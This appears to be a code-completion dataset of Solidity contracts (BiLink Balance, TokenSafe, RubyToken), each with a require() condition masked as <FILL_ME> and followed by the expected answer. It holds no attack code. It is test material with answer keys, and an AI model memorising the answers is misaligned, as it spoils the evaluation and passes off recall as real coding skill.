function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { } function depositToken(address _token, uint256 _amount) public { require(_token != address(0)&& isLegacy== false); depositingTokenFlag = true; require(<FILL_ME>) depositingTokenFlag = false; if(token2AssuranceAccount[_token]== msg.sender) assuranceAccount2LastDepositTime[msg.sender]= now; account2Token2Balance[msg.sender][_token] = account2Token2Balance[msg.sender][_token].add(_amount); emit OnDeposit(_token, msg.sender, _amount, account2Token2Balance[msg.sender][_token], now); } function withdrawToken(address _token, uint256 _amount) public { } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { } function migrateFund(address _newContract, address[] _tokens) public { } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
IToken(_token).transferFrom(msg.sender,this,_amount)
372,354
IToken(_token).transferFrom(msg.sender,this,_amount)
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { } function depositToken(address _token, uint256 _amount) public { } function withdrawToken(address _token, uint256 _amount) public { require(_token != address(0)); require(<FILL_ME>) if(token2AssuranceAccount[_token]== msg.sender) { require(_amount<= account2Token2Balance[msg.sender][_token].sub(ILoanLogic(contractLoanLogic).getTotalBorrowAmount(_token))); require(now.sub(assuranceAccount2LastDepositTime[msg.sender]) > 30 * 24 * 3600); } account2Token2Balance[msg.sender][_token] = account2Token2Balance[msg.sender][_token].sub(_amount); require(IToken(_token).transfer(msg.sender, _amount)); emit OnWithdraw(_token, msg.sender, _amount, account2Token2Balance[msg.sender][_token], now); } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { } function migrateFund(address _newContract, address[] _tokens) public { } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
account2Token2Balance[msg.sender][_token]>=_amount
372,354
account2Token2Balance[msg.sender][_token]>=_amount
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { } function depositToken(address _token, uint256 _amount) public { } function withdrawToken(address _token, uint256 _amount) public { require(_token != address(0)); require(account2Token2Balance[msg.sender][_token] >= _amount); if(token2AssuranceAccount[_token]== msg.sender) { require(_amount<= account2Token2Balance[msg.sender][_token].sub(ILoanLogic(contractLoanLogic).getTotalBorrowAmount(_token))); require(<FILL_ME>) } account2Token2Balance[msg.sender][_token] = account2Token2Balance[msg.sender][_token].sub(_amount); require(IToken(_token).transfer(msg.sender, _amount)); emit OnWithdraw(_token, msg.sender, _amount, account2Token2Balance[msg.sender][_token], now); } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { } function migrateFund(address _newContract, address[] _tokens) public { } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
now.sub(assuranceAccount2LastDepositTime[msg.sender])>30*24*3600
372,354
now.sub(assuranceAccount2LastDepositTime[msg.sender])>30*24*3600
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { } function depositToken(address _token, uint256 _amount) public { } function withdrawToken(address _token, uint256 _amount) public { require(_token != address(0)); require(account2Token2Balance[msg.sender][_token] >= _amount); if(token2AssuranceAccount[_token]== msg.sender) { require(_amount<= account2Token2Balance[msg.sender][_token].sub(ILoanLogic(contractLoanLogic).getTotalBorrowAmount(_token))); require(now.sub(assuranceAccount2LastDepositTime[msg.sender]) > 30 * 24 * 3600); } account2Token2Balance[msg.sender][_token] = account2Token2Balance[msg.sender][_token].sub(_amount); require(<FILL_ME>) emit OnWithdraw(_token, msg.sender, _amount, account2Token2Balance[msg.sender][_token], now); } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { } function migrateFund(address _newContract, address[] _tokens) public { } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
IToken(_token).transfer(msg.sender,_amount)
372,354
IToken(_token).transfer(msg.sender,_amount)
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { } function depositToken(address _token, uint256 _amount) public { } function withdrawToken(address _token, uint256 _amount) public { } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { require(<FILL_ME>) uint256 _amountBLKMined= IBiLinkToken(contractBLK).totalSupply(); uint256 _amountProfit= token2ProfitShare[_token]; token2ProfitShare[_token]= 0; address[] memory _accounts= IBiLinkToken(contractBLK).getCanShareProfitAccounts(); for(uint256 i= 0; i< _accounts.length; i++) { uint256 _balance= IBiLinkToken(contractBLK).balanceOf(_accounts[i]); if(_balance> 0) IToken(_token).transfer(_accounts[i], _balance.mul(_amountProfit).div(_amountBLKMined)); } emit OnShareProfit(_token, _amountProfit, now); } function migrateFund(address _newContract, address[] _tokens) public { } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
token2ProfitShare[_token]>0
372,354
token2ProfitShare[_token]>0
null
pragma solidity ^0.4.13; contract IToken { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IBiLinkToken is IToken { function getCanShareProfitAccounts() public constant returns (address[]); function totalSupply() public view returns (uint256); function balanceOf(address _account) public view returns (uint256); function mint(address _to, uint256 _amount) public returns (bool); function burn(uint256 amount) public; } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract Ownable { address public owner; constructor(address _owner) public { } modifier onlyOwner() { } function transferOwnership(address newOwner) onlyOwner { } } contract ILoanLogic { function getTotalPledgeAmount(address token, address account) public constant returns (uint256); function hasUnpaidLoan(address account) public constant returns (bool); function getTotalBorrowAmount(address _token) public constant returns (uint256); } contract IMarketData { function getTokenExchangeRatio(address _tokenNum, address _tokenDenom) public returns (uint256 num, uint256 denom); } contract Balance is Ownable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public account2Token2Balance; mapping (address => uint256) public token2ProfitShare; mapping (address => address) public token2AssuranceAccount; mapping (address => uint256) public assuranceAccount2LastDepositTime; address public contractBLK; address public contractBiLinkLoan; address public contractLoanLogic; address public contractBiLinkExchange; address public contractMarketData; address public accountCost; uint256 public ratioProfit2Cost;//percentage uint256 public ratioProfit2BuyBLK;//percentage uint256 public ETH_BLK_MULTIPLIER= 1000; uint256 public amountEthToBuyBLK; uint256 public priceBLK;//eth bool public isLegacy;//if true, not allow new trade,new deposit bool private depositingTokenFlag; event OnShareProfit(address token, uint256 amount, uint256 timestamp ); event OnSellBLK(address account, uint256 amount, uint256 timestamp ); event OnDeposit(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnWithdraw(address token, address account, uint256 amount, uint256 balance, uint256 timestamp); event OnFundsMigrated(address account, address newContract, uint256 timestamp); constructor (address _owner, address _contractBLK, address _contractBiLinkLoan, address _contractLoanLogic, address _contractBiLinkExchange, address _contractMarketData , address _accountCost, uint256 _ratioProfit2Cost, uint256 _ratioProfit2BuyBLK, uint256 _priceBLK) public Ownable(_owner) { } function setThisContractAsLegacy() public onlyOwner { } function setRatioProfit2Cost(uint256 _ratio) public onlyOwner { } function setRatioProfit2BuyBLK(uint256 _ratio) public onlyOwner { } function setTokenAssuranceAccount(address _token, address _account) public onlyOwner { } function getTokenAssuranceAccount(address _token) public constant returns (address) { } function getTokenAssuranceAmount(address _token) public constant returns (uint256) { } function depositEther() public payable { } function withdrawEther(uint256 _amount) public { } function depositToken(address _token, uint256 _amount) public { } function withdrawToken(address _token, uint256 _amount) public { } function tokenFallback( address _sender, uint256 _amount, bytes _data) public returns (bool ok) { } function getBalance(address _token, address _account) public constant returns (uint256, uint256) { } function getAvailableBalance(address _token, address _account) public constant returns (uint256) { } function modifyBalance(address _account, address _token, uint256 _amount, bool _addOrSub) public { } function distributeEthProfit (address _profitMaker, uint256 _amount) public { } function distributeTokenProfit (address _profitMaker, address _token, uint256 _amount) public { } function shareProfit(address _token) public { } function migrateFund(address _newContract, address[] _tokens) public { require(_newContract != address(0)&& ILoanLogic(contractLoanLogic).hasUnpaidLoan(msg.sender)== false); Balance _newBalance= Balance(_newContract); uint256 _amountEther = account2Token2Balance[msg.sender][0]; if (_amountEther > 0) { account2Token2Balance[msg.sender][0] = 0; _newBalance.depositFromUserMigration.value(_amountEther)(msg.sender); } for (uint16 n = 0; n < _tokens.length; n++) { address _token = _tokens[n]; require(_token != address(0)); // Ether is handled above. uint256 _amountToken = account2Token2Balance[msg.sender][_token]; if (_amountToken != 0) { require(<FILL_ME>) account2Token2Balance[msg.sender][_token] = 0; _newBalance.depositTokenFromUserMigration(_token, _amountToken, msg.sender); } } emit OnFundsMigrated(msg.sender, _newBalance, now); } function depositFromUserMigration(address _account) public payable { } function depositTokenFromUserMigration(address _token, uint _amount, address _account) public { } function getRemainBuyBLKAmount() public constant returns (uint256) { } function sellBLK(uint256 _amountBLK) public { } }
IToken(_token).approve(_newBalance,_amountToken)
372,354
IToken(_token).approve(_newBalance,_amountToken)
null
pragma solidity ^0.4.13; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { } function balanceOf(address _owner) constant returns (uint256 balance) { } function approve(address _spender, uint256 _value) returns (bool success) { } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract TokenSafe { mapping (uint256 => uint256) allocations; mapping (address => bool) isAddressInclude; uint256 public unlockTimeLine; uint256 public constant firstTimeLine = 1514044800; uint256 public constant secondTimeLine = 1521820800; uint256 public constant thirdTimeLine = 1529769600; address public originalContract; uint256 public constant exponent = 10**8; uint256 public constant limitAmount = 1500000000*exponent; uint256 public balance = 1500000000*exponent; function TokenSafe(address _originalContract) { } function unlock() external{ require(now > firstTimeLine); //prevent untimely call require(<FILL_ME>) //prevent address unauthorized if(now >= firstTimeLine){ unlockTimeLine = 1; } if(now >= secondTimeLine){ unlockTimeLine = 2; } if (now >= thirdTimeLine){ unlockTimeLine = 3; } uint256 balanceShouldRest = limitAmount - limitAmount * allocations[unlockTimeLine] / 1000; uint256 canWithdrawAmount = balance - balanceShouldRest; require(canWithdrawAmount > 0); if (!StandardToken(originalContract).transfer(msg.sender, canWithdrawAmount )){ //failed revert(); } //success balance = balance - canWithdrawAmount; } }
isAddressInclude[msg.sender]==true
372,413
isAddressInclude[msg.sender]==true
null
pragma solidity ^0.5.1; contract RubyToken{ mapping (address => uint256) public balanceOf; mapping (address => bool) private transferable; mapping(address => mapping (address => uint256)) allowed; uint256 private _totalSupply=10000000000000000000000000000; string private _name= "RubyToken"; string private _symbol= "RUBY"; uint256 private _decimals = 18; address private _administrator = msg.sender; constructor () public { } event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public view returns (uint256) { } function totalSupply() public view returns (uint256) { } function _transfer(address _from, address _to, uint256 _value) internal { require(balanceOf[_from]>=_value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(<FILL_ME>) balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address to, uint256 value) public { } function transferFrom(address _from, address _to, uint256 amount) public { } function transfercheck(address check) internal returns(bool) { } function approve(address spender, uint256 _value) public returns(bool){ } function lock(address lockee) public { } function unlock(address unlockee) public { } function lockcheck(address checkee) public view returns (bool){ } function _burn(address account, uint256 value) private { } function _addsupply(address account, uint256 value) private { 